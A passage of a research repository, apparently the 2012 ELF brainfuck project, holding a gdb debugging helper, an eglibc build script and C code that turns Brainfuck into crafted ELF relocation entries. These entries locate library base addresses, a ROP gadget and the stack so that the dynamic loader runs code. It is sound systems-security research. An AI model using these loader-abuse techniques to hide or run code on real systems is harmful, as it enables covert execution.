self.rela_proc_break.condition = "map->l_addr==0" 45 | self.rela_loop_exit = RelaLoopDoneBreakpoint("rtld.c:2262") 46 | self.rela_loop_exit._dostop = False 47 | 48 | def invoke(self, arg, from_tty): 49 | args = gdb.string_to_argv(arg) 50 | 51 | # fast forward to linker code that processes reloc entries 52 | # if needed 53 | if "elf_dynamic_do_rela" != gdb.selected_frame().name(): 54 | self.rela_loop_break.enabled = True 55 | self.rela_proc_break.enabled = False 56 | gdb.execute("c") 57 | 58 | elif None == self.instructions: 59 | if args[0] == "setup": 60 | execfile(args[1]) 61 | self.initialize() 62 | else: 63 | print "Must first call 'elfbf setup '" 64 | elif args[0] == "tape": 65 | self.print_tape_range() 66 | elif args[0] == "tape_range": 67 | low = int(args[1]) 68 | high = int(args[2]) 69 | self.print_tape_range(low,high) 70 | elif args[0] == "tape_value": #prints current tape value 71 | head = self.get_tape_head_ptr() 72 | print gdb.execute("x/bx 0x%x" %head, to_string=True) 73 | elif args[0] == "tape_value_relative": #argument index relative to current tape index 74 | if len(args) > 1: 75 | num = int(args[1]) 76 | else: 77 | num = 0 78 | head = self.get_tape_head_ptr() 79 | head += num 80 | print gdb.execute("x/bx 0x%x" %head, to_string=True) 81 | elif args[0] == "tape_index": #returns current tape index 82 | print self.get_head_index() 83 | elif args[0] == "source": #prints brainfuck source 84 | print self.source 85 | elif args[0] == "current_ins": #prints info on current instruction being executed 86 | r = self.get_current_rel() 87 | i = self.get_ins(r) 88 | if (i < 0): 89 | if i == -1: 90 | print "Initializing brainfuck environment" 91 | else: 92 | print "Invalid instruction" 93 | else: 94 | print "Instruction %s at index %d" %(self.source[i],i) 95 | elif args[0] == "go_to_next_rel": 96 | self.rela_proc_break.enabled = True 97 | gdb.execute("c") 98 | self.rela_proc_break.enabled = False 99 | elif args[0] == "go_to_next_ins": 100 | index = self.get_ins(self.get_current_rel()) 101 | print index 102 | if (index < len(self.source)) and ((index < 0) or (not 'X' == self.source[index])): 103 | # loop until get_ins != index 104 | self.rela_proc_break.enabled = True 105 | while index == self.get_ins(self.get_current_rel()): 106 | print "continuing" 107 | gdb.execute("c") 108 | self.rela_proc_break.enabled = False 109 | else: 110 | print "all instrutions have been executed" 111 | if ('X' == self.source[index]): 112 | print "finishing cleanup" 113 | self.rela_loop_exit.enabled = False 114 | self.rela_proc_break.enabled = False 115 | self.rela_loop_break.enabled = False 116 | gdb.execute("c") 117 | elif args[0] == "rel_num": #prints current reloc index being processed 118 | print (self.get_current_rel() - self.rela_start)/self.relsz 119 | else: 120 | print "bad elfbf command" 121 | 122 | def initialize(self): 123 | self.set_source(self.bf_src_path, self.exec_path) 124 | relsz = gdb.execute("print sizeof(Elf64_Rela)", to_string=True) 125 | relsz = relsz.split() 126 | self.relsz = int(relsz[2]) 127 | symsz = gdb.execute("print sizeof(Elf64_Sym)", to_string=True) 128 | symsz = symsz.split() 129 | self.symsz = int(symsz[2]) 130 | self.tape_top = self.dynsym + ((self.numsym+1)*self.symsz) 131 | self.tape_len = self.tape_len * self.symsz 132 | 133 | def continue_to(self, insidx): 134 | #calculate first reloc entry of insids 135 | relcount = self.instructions["init"] 136 | for i in range(insidx): 137 | try: 138 | relcount += self.instructions[self.source[i]] 139 | except KeyError: 140 | print "key error" 141 | # calculate addr of relocatin entry 142 | lastrel = self.rela_start + (relcount * self.relsz) 143 | 144 | while self.get_current_rel() < lastrel: 145 | print "next" 146 | gdb.execute("n", to_string=True) 147 | 148 | def get_current_rel(self): 149 | creladdr = gdb.execute("print r", to_string=True) 150 | creladdr = creladdr.split() 151 | return int(creladdr[5], 16) 152 | 153 | def get_ins(self, reloc): 154 | relnum = (reloc - self.rela_start) / self.relsz 155 | if (relnum < self.instructions["I"]): 156 | return -1 157 | else: 158 | relidx = self.instructions["I"] 159 | for i in range(len(self.source)): 160 | inst = self.source[i] 161 | try: 162 | relidx += self.instructions[inst] 163 | if (relnum < relidx): #we are at next instr 164 | #print "Instruction: %s at index %d\n" %(inst, i) 165 | return i 166 | except KeyError: 167 | print "skipping instruction '%s'" %inst.encode("hex") 168 | print "Instruction not found" 169 | return -2 170 | 171 | def set_source(self, source, elf): 172 | self.elf = elf 173 | # look up address of first relocation entry (DT_RELA) 174 | import os 175 | addr = os.popen("readelf -d %s | grep '(RELA)' | awk '{print $3}';" %self.elf) 176 | r = addr.read() 177 | addr.close() 178 | self.rela_start = int(r,16) 179 | addr = os.popen("readelf -d %s | grep '(SYMTAB)' | awk '{print $3}';" %self.elf) 180 | d = addr.read() 181 | addr.close() 182 | self.dynsym = int(d,16) 183 | # read in bf instructions 184 | f = open(source) 185 | if f: 186 | self.source = f.read() 187 | f.close() 188 | print self.source 189 | 190 | def print_tape_range(self,low=None, high=None): 191 | if (None == low): 192 | low = 0 193 | high = self.tape_len 194 | print gdb.execute("x/%dbx 0x%x" %(high-low,int(self.tape_top+low)), to_string=True) 195 | 196 | def get_head_index(self): 197 | return self.get_tape_head_ptr() - self.tape_top 198 | 199 | def get_sym_value(self, symaddr): 200 | s = gdb.parse_and_eval('(Elf64_Sym *) %d' %symaddr) 201 | head = s['st_value'] 202 | return int(str(head)) 203 | 204 | def get_tape_head_ptr(self): 205 | return self.get_sym_value(self.tape_ptr_addr) 206 | 207 | 208 | ReadCurrentEntry() 209 | -------------------------------------------------------------------------------- /elf_bf_debug/setup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | 4 | # Copyright (c) 2012 Rebecca (bx) Shapiro 5 | 6 | # Permission is hereby granted, free of charge, to any person obtaining a copy 7 | # of this software and associated documentation files (the "Software"), to deal 8 | # in the Software without restriction, including without limitation the rights 9 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | # copies of the Software, and to permit persons to whom the Software is 11 | # furnished to do so, subject to the following conditions: 12 | 13 | # The above copyright notice and this permission notice shall be included in all 14 | # copies or substantial portions of the Software. 15 | 16 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 22 | # SOFTWARE. 23 | 24 | 25 | # this file sets up and builds egblic so we can use its debugging symbols 26 | mkdir eglibc 27 | cd eglibc 28 | apt-get source eglibc 29 | sudo apt-get build-dep eglibc 30 | sudo apt-get install gperf gdb 31 | mkdir root 32 | mkdir build 33 | cd build 34 | export CFLAGS="-U_FORTIFY_SOURCE -g -O -fno-stack-protector" 35 | ../eglibc-2.13/configure --prefix=$PWD/../root 36 | mkdir ../root 37 | mkdir ../root/etc/ 38 | touch ../root/etc/ld.so.conf 39 | make -j 8 40 | make install 41 | 42 | 43 | -------------------------------------------------------------------------------- /libelf_bf/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2012 Rebecca (bx) Shapiro 2 | 3 | # Permission is hereby granted, free of charge, to any person obtaining a copy 4 | # of this software and associated documentation files (the "Software"), to deal 5 | # in the Software without restriction, including without limitation the rights 6 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 7 | # copies of the Software, and to permit persons to whom the Software is 8 | # furnished to do so, subject to the following conditions: 9 | 10 | # The above copyright notice and this permission notice shall be included in all 11 | # copies or substantial portions of the Software. 12 | 13 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 14 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 16 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 18 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 19 | # SOFTWARE. 20 | 21 | add_library(elf_bf STATIC elf_bf_link_map.c elf_bf_ops.c elf_bf_utils.c elf_reloc_utils.c reloc.c symtab.c elf_bf_debug_config.c) 22 | -------------------------------------------------------------------------------- /libelf_bf/elf_bf_debug_config.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "elf_bf_debug_config.h" 4 | #include "elf_bf_ops.h" 5 | #include "elf_bf_utils.h" 6 | void get_ins_sizes(elf_bf_exec_t *ee, eresi_Addr *inssz); 7 | 8 | typedef enum {i_start, i_inc, i_dec, i_next, i_prev, i_branch_start, i_branch_end, i_getchar, i_putchar, i_exit} elf_bf_instypes; 9 | char elf_bf_insname [NUMINS] = {'I','+','-','>','<', '[', ']', ',','.','X'}; 10 | void print_debug_config(debug_config_t *config, char *out) { 11 | FILE *f; 12 | int i; 13 | f = fopen(out, "w"); 14 | if (NULL == f) { 15 | perror("failed to save debug config"); 16 | return; 17 | } 18 | //fprintf(f, "self.dynrela = 0x%x\n", config->dynrela); 19 | // fprintf(f, "self.dynsym = 0x%x\n", config->dynrela); 20 | fprintf(f, "self.numsym = %d\n", config->numsym); 21 | fprintf(f, "self.tape_ptr_addr = 0x%x\n", config->tape_ptr->addr); 22 | fprintf(f, "self.tape_copy_addr = 0x%x\n", config->tape_copy->addr); 23 | fprintf(f, "self.exec_path = '%s'\n", config->exec); 24 | fprintf(f, "self.bf_src_path = '%s'\n", config->src); 25 | fprintf(f, "self.tape_len = %d\n", config->tape_len); 26 | fprintf(f, "self.instructions={"); 27 | for(i = 0; i < NUMINS; i++) { 28 | fprintf(f,"'%c':%d, ", elf_bf_insname[i], config->inssizes[i]); 29 | } 30 | fprintf(f, "}\n"); 31 | fclose(f); 32 | 33 | } 34 | 35 | void elf_bf_write_debug(elf_bf_env_t *e, char *out) 36 | { 37 | debug_config_t config; 38 | 39 | //config.dynrela = e->e_exec.ee_dt_rela; 40 | // config.dynsym = e->e_exec.ee_dt_sym; 41 | config.numsym = e->e_exec.ee_num_used_syms; 42 | config.numrel = e->e_exec.ee_lm.lm_next_reloc; 43 | config.tape_ptr = e->e_exec.ee_ptr_tape_ptr; 44 | config.tape_copy = e->e_exec.ee_tape_ptr; 45 | config.tape_len = e->e_exec.ee_tape_len; 46 | get_ins_sizes(&e->e_exec, config.inssizes); 47 | 48 | config.exec = e->e_exec.ee_lm.lm_out_name; 49 | config.src = e->e_bf_sourcepath; 50 | print_debug_config(&config, out); 51 | } 52 | 53 | void get_ins_sizes(elf_bf_exec_t *ee, eresi_Addr *inssz) 54 | { 55 | int was_allocated = ee->ee_lm.lm_allocated; 56 | eresi_Addr old_next = ee->ee_lm.lm_next_reloc; 57 | if (was_allocated) { //don't want it to allocate twice 58 | ee->ee_lm.lm_allocated = 0; 59 | ee->ee_lm.lm_next_reloc = 0; 60 | } 61 | inssz[i_start] = init_scatch_space(ee); 62 | inssz[i_inc] = elfops_increment(ee); 63 | inssz[i_dec] = elfops_decrement(ee); 64 | inssz[i_next] = elfops_increment_ptr(ee); 65 | inssz[i_prev] = elfops_decrement_ptr(ee); 66 | inssz[i_branch_start] = elfops_branch_start(ee); 67 | inssz[i_branch_end] = elfops_branch_end(ee); 68 | inssz[i_getchar] = elfops_getchar(ee); 69 | inssz[i_putchar] = elfops_putchar(ee); 70 | inssz[i_exit] = elfops_exit(ee); 71 | ee->ee_lm.lm_allocated = was_allocated; 72 | ee->ee_lm.lm_next_reloc = old_next; 73 | } 74 | -------------------------------------------------------------------------------- /libelf_bf/elf_bf_debug_config.h: -------------------------------------------------------------------------------- 1 | #ifndef _ELF_BF_DEBUF_CONFIG_H 2 | #define _ELF_BF_DEBUF_CONFIG_H 3 | 4 | #define FILENAMESZ 256 5 | #define NUMINS 10 6 | 7 | #include "symtab.h" 8 | #include "elf_bf_utils.h" 9 | typedef struct 10 | { 11 | char type; 12 | eresi_Addr size; 13 | } bf_int_t; 14 | 15 | 16 | typedef struct { 17 | eresi_Addr dynrela; 18 | eresi_Addr dynsym; 19 | int numsym; 20 | int numrel; 21 | elf_bf_Sym *tape_ptr; 22 | elf_bf_Sym *tape_copy; 23 | 24 | eresi_Addr inssizes [NUMINS]; 25 | eresi_Addr tape_len; 26 | char *exec; 27 | char *src; 28 | } debug_config_t; 29 | void elf_bf_write_debug(elf_bf_env_t *e, char *out); 30 | 31 | #endif //def _ELF_BF_DEBUF_CONFIG_H 32 | -------------------------------------------------------------------------------- /libelf_bf/elf_bf_link_map.c: -------------------------------------------------------------------------------- 1 | /* Copyright (c) 2012 Rebecca (bx) Shapiro 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy 4 | of this software and associated documentation files (the "Software"), to deal 5 | in the Software without restriction, including without limitation the rights 6 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 7 | copies of the Software, and to permit persons to whom the Software is 8 | furnished to do so, subject to the following conditions: 9 | 10 | The above copyright notice and this permission notice shall be included in all 11 | copies or substantial portions of the Software. 12 | 13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 16 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 18 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 19 | SOFTWARE. 20 | */ 21 | 22 | #include 23 | eresi_Addr get_l_relocated(eresi_Addr l) 24 | { 25 | return ((eresi_Addr) l) + 0x314; 26 | } 27 | 28 | eresi_Addr get_l_relro_size(eresi_Addr l) 29 | { 30 | return ((eresi_Addr) l) + 0x458; 31 | } 32 | 33 | eresi_Addr get_l_prev(eresi_Addr l) 34 | { 35 | return ((eresi_Addr) l) + 0x20; 36 | } 37 | eresi_Addr get_l_next(eresi_Addr l) 38 | { 39 | return ((eresi_Addr) l) + 0x18; 40 | } 41 | 42 | //doesn't work., fyi. and not used 43 | eresi_Addr get_l_relainfo(eresi_Addr l) 44 | { 45 | return ((eresi_Addr) l) + 0x20; 46 | } 47 | 48 | eresi_Addr get_l_tls_blocksize(eresi_Addr l) 49 | { 50 | return ((eresi_Addr) l) + 0x428; 51 | } 52 | 53 | eresi_Addr get_l_buckets(eresi_Addr l) 54 | { 55 | return ((eresi_Addr) l) + 0x308; 56 | } 57 | 58 | eresi_Addr get_l_libname_next(eresi_Addr l) 59 | { 60 | return ((eresi_Addr) l) + 0x578; 61 | } 62 | 63 | eresi_Addr get_l_direct_opencount(eresi_Addr l) 64 | { 65 | return ((eresi_Addr) l) + 0x310; 66 | } 67 | 68 | 69 | eresi_Addr get_l_addr(eresi_Addr l) 70 | { 71 | return ((eresi_Addr) l); 72 | } 73 | -------------------------------------------------------------------------------- /libelf_bf/elf_bf_link_map.h: -------------------------------------------------------------------------------- 1 | /* Copyright (c) 2012 Rebecca (bx) Shapiro 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy 4 | of this software and associated documentation files (the "Software"), to deal 5 | in the Software without restriction, including without limitation the rights 6 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 7 | copies of the Software, and to permit persons to whom the Software is 8 | furnished to do so, subject to the following conditions: 9 | 10 | The above copyright notice and this permission notice shall be included in all 11 | copies or substantial portions of the Software. 12 | 13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 16 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 18 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 19 | SOFTWARE. 20 | */ 21 | 22 | #ifndef __ELF_BF_LINK_MAP_H 23 | #define __ELF_BF_LINK_MAP_H 24 | 25 | #include 26 | 27 | #include "symtab.h" 28 | 29 | eresi_Addr get_l_relocated(eresi_Addr l); 30 | eresi_Addr get_l_relro_size(eresi_Addr l); 31 | eresi_Addr get_l_prev(eresi_Addr l); 32 | eresi_Addr get_l_relainfo(eresi_Addr l); 33 | eresi_Addr get_l_tls_blocksize(eresi_Addr l); 34 | eresi_Addr get_l_addr(eresi_Addr l); 35 | eresi_Addr get_l_buckets(eresi_Addr l); 36 | eresi_Addr get_l_libname_next(eresi_Addr l); 37 | eresi_Addr get_l_direct_opencount(eresi_Addr l); 38 | eresi_Addr get_l_next(eresi_Addr l); 39 | 40 | #endif //ifdef __ELF_BF_LINK_MAP_H 41 | -------------------------------------------------------------------------------- /libelf_bf/elf_bf_ops.c: -------------------------------------------------------------------------------- 1 | /* Copyright (c) 2012 Rebecca (bx) Shapiro 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy 4 | of this software and associated documentation files (the "Software"), to deal 5 | in the Software without restriction, including without limitation the rights 6 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 7 | copies of the Software, and to permit persons to whom the Software is 8 | furnished to do so, subject to the following conditions: 9 | 10 | The above copyright notice and this permission notice shall be included in all 11 | copies or substantial portions of the Software. 12 | 13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 16 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 18 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 19 | SOFTWARE. 20 | */ 21 | 22 | #include 23 | #include "elf_bf_ops.h" 24 | #include "reloc.h" 25 | #include "symtab.h" 26 | 27 | eresi_Addr elfops_move_ptr(elf_bf_exec_t *e, eresi_Addr delta); 28 | eresi_Addr elfops_add(elf_bf_exec_t *ee, eresi_Addr delta); 29 | eresi_Addr elfops_unconditional_restart(elf_bf_exec_t *ee); 30 | eresi_Addr elfops_prepare_branch(elf_bf_exec_t *ee); 31 | eresi_Addr elfops_getchar(elf_bf_exec_t *ee); 32 | eresi_Addr elfops_putchar(elf_bf_exec_t *ee); 33 | eresi_Addr set_end_ifunc(elf_bf_exec_t *ee); 34 | eresi_Addr set_end_value(elf_bf_exec_t *ee, eresi_Addr value); 35 | 36 | 37 | eresi_Addr elfops_increment_ptr(elf_bf_exec_t *e) 38 | { 39 | return elfops_move_ptr(e, 1); 40 | } 41 | 42 | eresi_Addr elfops_decrement_ptr(elf_bf_exec_t *e) 43 | { 44 | return elfops_move_ptr(e, -1); 45 | } 46 | 47 | eresi_Addr elfops_move_ptr(elf_bf_exec_t *e, eresi_Addr delta) 48 | { 49 | 50 | elf_bf_link_map_t *l = &(e->ee_lm); 51 | eresi_Addr start = l->lm_next_reloc; 52 | //change tape pointer 53 | set_next_reloc(l, R_X86_64_64, symtab_get_index(e->ee_ptr_tape_ptr), 54 | symtab_get_value_addr(e->ee_ptr_tape_ptr), delta); 55 | //copy new tape value into workspace 56 | set_next_reloc(l, R_X86_64_COPY, symtab_get_index(e->ee_ptr_tape_ptr), 57 | symtab_get_value_addr(e->ee_tape_ptr), 0); 58 | return l->lm_next_reloc - start; 59 | } 60 | 61 | 62 | eresi_Addr elfops_getchar(elf_bf_exec_t *ee) 63 | { 64 | // INCOMPLETE 65 | elf_bf_link_map_t *l = &(ee->ee_lm); 66 | eresi_Addr start = l->lm_next_reloc; 67 | 68 | 69 | eresi_Addr savei, getci, findgetci; 70 | elf_bf_Rela save, getc, findgetc; 71 | 72 | savei = set_next_reloc(l, 0, 0, 0, 0); 73 | findgetci = set_next_reloc(l, 0, 0, 0, 0); 74 | getci = set_next_reloc(l, 0, 0, 0, 0); 75 | reloc_get_reloc_entry(l, savei, &save); 76 | reloc_get_reloc_entry(l, findgetci, &findgetc); 77 | reloc_get_reloc_entry(l, getci, &getc); 78 | 79 | // save address of where tape is pointing to to next relocaiton entry's offset 80 | reloc_set_rela(&save, R_X86_64_64, symtab_get_index(ee->ee_ptr_tape_copy), reloc_get_offset_addr(&getc), 0); 81 | 82 | // save address of getc to next reloc entry 83 | reloc_set_rela(&findgetc, R_X86_64_64, symtab_get_index(l->lm_getchar), reloc_get_addend_addr(&getc), 0); 84 | // call getc 85 | reloc_set_rela(&getc, R_X86_64_IRELATIVE, 0, 0, 0); 86 | 87 | // copy value of getc result to scratchspace 88 | eresi_Addr setupi, updatei; 89 | elf_bf_Rela setup, update; 90 | setupi = set_next_reloc(l, 0, 0, 0, 0); 91 | updatei = set_next_reloc(l, 0, 0, 0, 0); 92 | reloc_get_reloc_entry(l, setupi, &setup); 93 | reloc_get_reloc_entry(l, updatei, &update); 94 | reloc_set_rela(&setup, R_X86_64_64, symtab_get_index(ee->ee_ptr_tape_ptr), reloc_get_offset_addr(&update), 0); 95 | reloc_set_rela(&update, R_X86_64_64,symtab_get_index(ee->ee_tape_ptr),0,0); 96 | return l->lm_next_reloc - start; 97 | 98 | } 99 | 100 | 101 | eresi_Addr elfops_increment(elf_bf_exec_t *e) 102 | { 103 | return elfops_add(e, 1); 104 | } 105 | 106 | eresi_Addr elfops_decrement(elf_bf_exec_t *e) 107 | { 108 | return elfops_add(e,-1); 109 | } 110 | 111 | 112 | eresi_Addr elfops_add(elf_bf_exec_t *ee, eresi_Addr delta) 113 | { 114 | elf_bf_link_map_t *l = &(ee->ee_lm); 115 | 116 | eresi_Addr start = l->lm_next_reloc; 117 | //we assume that correct value is in scratch space, just do addition 118 | set_next_reloc(l, R_X86_64_64, symtab_get_index(ee->ee_tape_ptr), 119 | symtab_get_value_addr(ee->ee_tape_ptr), delta); 120 | 121 | eresi_Addr setupi, copyi; 122 | elf_bf_Rela setup, copy; 123 | 124 | //update tape 125 | setupi = set_next_reloc(l, 0, 0, 0, 0); 126 | 127 | //copy new value back to tape 128 | copyi = set_next_reloc(l, R_X86_64_COPY, symtab_get_index(ee->ee_ptr_tape_copy), 129 | 0, 0); 130 | 131 | //go back at actually setup first entry 132 | reloc_get_reloc_entry(l, setupi, &setup); 133 | reloc_get_reloc_entry(l, copyi, ©); 134 | //setup next entry so it knows where tape pointer is 135 | reloc_set_rela(&setup, R_X86_64_64, symtab_get_index(ee->ee_ptr_tape_ptr), 136 | reloc_get_offset_addr(©), 0); 137 | return l->lm_next_reloc - start; 138 | } 139 | 140 | eresi_Addr elfops_branch_start(elf_bf_exec_t *ee) 141 | { 142 | elf_bf_link_map_t *l = &(ee->ee_lm); 143 | eresi_Addr start = l->lm_next_reloc; 144 | elfops_prepare_branch(ee); 145 | 146 | 147 | eresi_Addr firsti, sizei, landi; 148 | elf_bf_Rela first, next, size, land; 149 | 150 | //setup relocation entry that fixes dt_rela to jump past unconditional branch 151 | //we don't know address of next yet, so don't actually set it yet 152 | firsti = set_next_reloc(l, 0, 0, 0, 0); 153 | 154 | //setup relocation entry that fixes dt_relasz assuming unconditional branch 155 | sizei = set_next_reloc(l, 0, 0, 0, 0); 156 | 157 | //sets symbol's link addr to (value on tape) 158 | set_next_reloc(l, R_X86_64_COPY, symtab_get_index(ee->ee_ptr_tape_copy), 159 | symtab_get_link_addr(ee->ee_lm.lm_ifunc), 0); 160 | 161 | //sets end to zero or ifunc, depending on link value of sym1 set earlier 162 | set_end_ifunc(ee); 163 | 164 | //unconditional branch past ] (if tape is zero) 165 | //update dt_rela (addend to be filled in once ] is known) 166 | set_next_reloc(l, R_X86_64_RELATIVE, 0, ee->ee_dt_rela, 0); 167 | 168 | //update dt_relasz (addend to be filled in once ] is known) 169 | landi = set_next_reloc(l, R_X86_64_RELATIVE, 0, ee->ee_dt_relasz, 0); 170 | 171 | //set end to zero to force immediate branch 172 | landi += set_end_value(ee, 0); 173 | landi += 1; 174 | //fix first entry so it points to last entry 175 | reloc_get_reloc_entry(l, firsti, &first); 176 | reloc_get_reloc_entry(l, sizei, &size); 177 | reloc_get_reloc_entry(l, landi, &land); 178 | reloc_set_rela(&first, R_X86_64_RELATIVE, 0, ee->ee_dt_rela, 179 | reloc_get_addr(&land)); 180 | //reloc_set_rela(&size, R_X86_64_RELATIVE, 0, ee->ee_dt_relasz, ee->ee_relasz_orig + ((landi)*sizeof(Elf64_Rela))); 181 | reloc_set_rela(&size, R_X86_64_RELATIVE, 0, ee->ee_dt_relasz, ee->ee_dt_relasz_value - ((landi)*sizeof(Elf64_Rela))); 182 | 183 | return l->lm_next_reloc - start; 184 | } 185 | 186 | eresi_Addr setup_syscall_symbol(elf_bf_exec_t *ee, elf_bf_Sym *base, elf_bf_Sym *s, eresi_Addr offset) 187 | { 188 | elf_bf_link_map_t *l = &(ee->ee_lm); 189 | eresi_Addr start = l->lm_next_reloc; 190 | 191 | // calculate addr of syscall 192 | //printf ("SYSCALL\n"); 193 | set_next_reloc(l, R_X86_64_64, symtab_get_index(base), symtab_get_value_addr(s), offset);//adds offset of exit to libc base addr, stores in symbol's value 194 | 195 | // make symbol be of type ifunc 196 | //set_next_reloc(l, R_X86_64_RELATIVE, 0, symtab_get_sym_addr_sym(s), 0x0100000a00000000); 197 | 198 | return l->lm_next_reloc - start; 199 | } 200 | 201 | eresi_Addr lookup_library_base_addr(elf_bf_exec_t *ee, elf_bf_Sym *sym, char *lib) 202 | { 203 | 204 | char *command; 205 | char *format = "ldd %s | awk '{print $1;}' | grep -n %s | awk -F : '{print $1;}'"; 206 | int i, max = 128; 207 | char dll[max]; 208 | int dll_num, num_read; 209 | 210 | elf_bf_link_map_t *l = &(ee->ee_lm); 211 | eresi_Addr start = l->lm_next_reloc; 212 | 213 | 214 | if ((command = malloc(strlen(format) + strlen(ee->ee_exec_path) + sizeof(lib))) == NULL) { 215 | return 0; 216 | } 217 | 218 | sprintf(command, format, ee->ee_exec_path, lib); 219 | FILE *f = popen(command,"r"); 220 | num_read = fread(dll, 1, max, f); 221 | if (num_read < 1) { 222 | return 0; 223 | } 224 | dll_num = atoi(dll); 225 | 226 | //get linkmap value 227 | set_next_reloc(l, R_X86_64_COPY, symtab_get_index(ee->ee_exec_map), symtab_get_value_addr(sym), 0); 228 | for (i = 0; i < dll_num; i++) { 229 | //get address of base of ld then stack addr (ee_stac_addr) 230 | set_next_reloc(l, R_X86_64_64, symtab_get_index(sym), symtab_get_value_addr(sym), get_l_next(0)); //calculate l_next address location 231 | set_next_reloc(l, R_X86_64_COPY, symtab_get_index(sym), symtab_get_value_addr(sym), 0); //dereference pointer 232 | } 233 | set_next_reloc(l, R_X86_64_COPY, symtab_get_index(sym), symtab_get_value_addr(sym), 0); // get base address 234 | pclose(f); 235 | return l->lm_next_reloc - start; 236 | } 237 | 238 | eresi_Addr init_scatch_space(elf_bf_exec_t *ee) 239 | { 240 | elf_bf_link_map_t *l = &(ee->ee_lm); 241 | eresi_Addr start = l->lm_next_reloc; 242 | 243 | //copy initial tape value into workspace 244 | set_next_reloc(l, R_X86_64_COPY, symtab_get_index(ee->ee_ptr_tape_ptr), 245 | symtab_get_value_addr(ee->ee_tape_ptr), 0); 246 | 247 | //get base addr of ld 248 | lookup_library_base_addr(ee, ee->ee_ld_base, "ld-*"); 249 | 250 | 251 | //get base addr of libc 252 | lookup_library_base_addr(ee, ee->ee_libc_base, "libc.so"); 253 | 254 | 255 | // save addess of ROP code that returns 0, ldbase + 0x148DE, (at addr 5555555688de) 256 | set_next_reloc(l, R_X86_64_64, symtab_get_index(ee->ee_ld_base), symtab_get_value_addr(ee->ee_lm.lm_ifunc), ee->ee_ifunc_offset); //calculate ifunc addr 257 | 258 | 259 | //calculate address of _dl_auxv (0x555555771e28- 0x555555554000)=0x21DE28 260 | set_next_reloc(l, R_X86_64_64, symtab_get_index(ee->ee_ld_base), symtab_get_value_addr(ee->ee_stack_addr), ee->ee_dl_auxv); //calculate address of _dl_auxv that is a pointer to the aux vector that lives on stack 261 | //follow pointer to addres of auxv 262 | set_next_reloc(l, R_X86_64_COPY, symtab_get_index(ee->ee_stack_addr), symtab_get_value_addr(ee->ee_stack_addr), 0); 263 | 264 | // calculate &end on stack with respect to auxv 265 | set_next_reloc(l, R_X86_64_64, symtab_get_index(ee->ee_stack_addr), symtab_get_value_addr(ee->ee_stack_addr), ee->ee_end_offset); //calculate l_next address location 266 | 267 | // save address of exec's link map 268 | set_next_reloc(l, R_X86_64_COPY, symtab_get_index(ee->ee_exec_map), symtab_get_value_addr(ee->ee_exec_map_value), 0); 269 | setup_syscall_symbol(ee, ee->ee_libc_base, l->lm_getchar, lookup_libc_offset_bf_env(ee, "getchar")); 270 | setup_syscall_symbol(ee, ee->ee_libc_base, l->lm_putchar, lookup_libc_offset_bf_env(ee, "putchar")); 271 | 272 | return 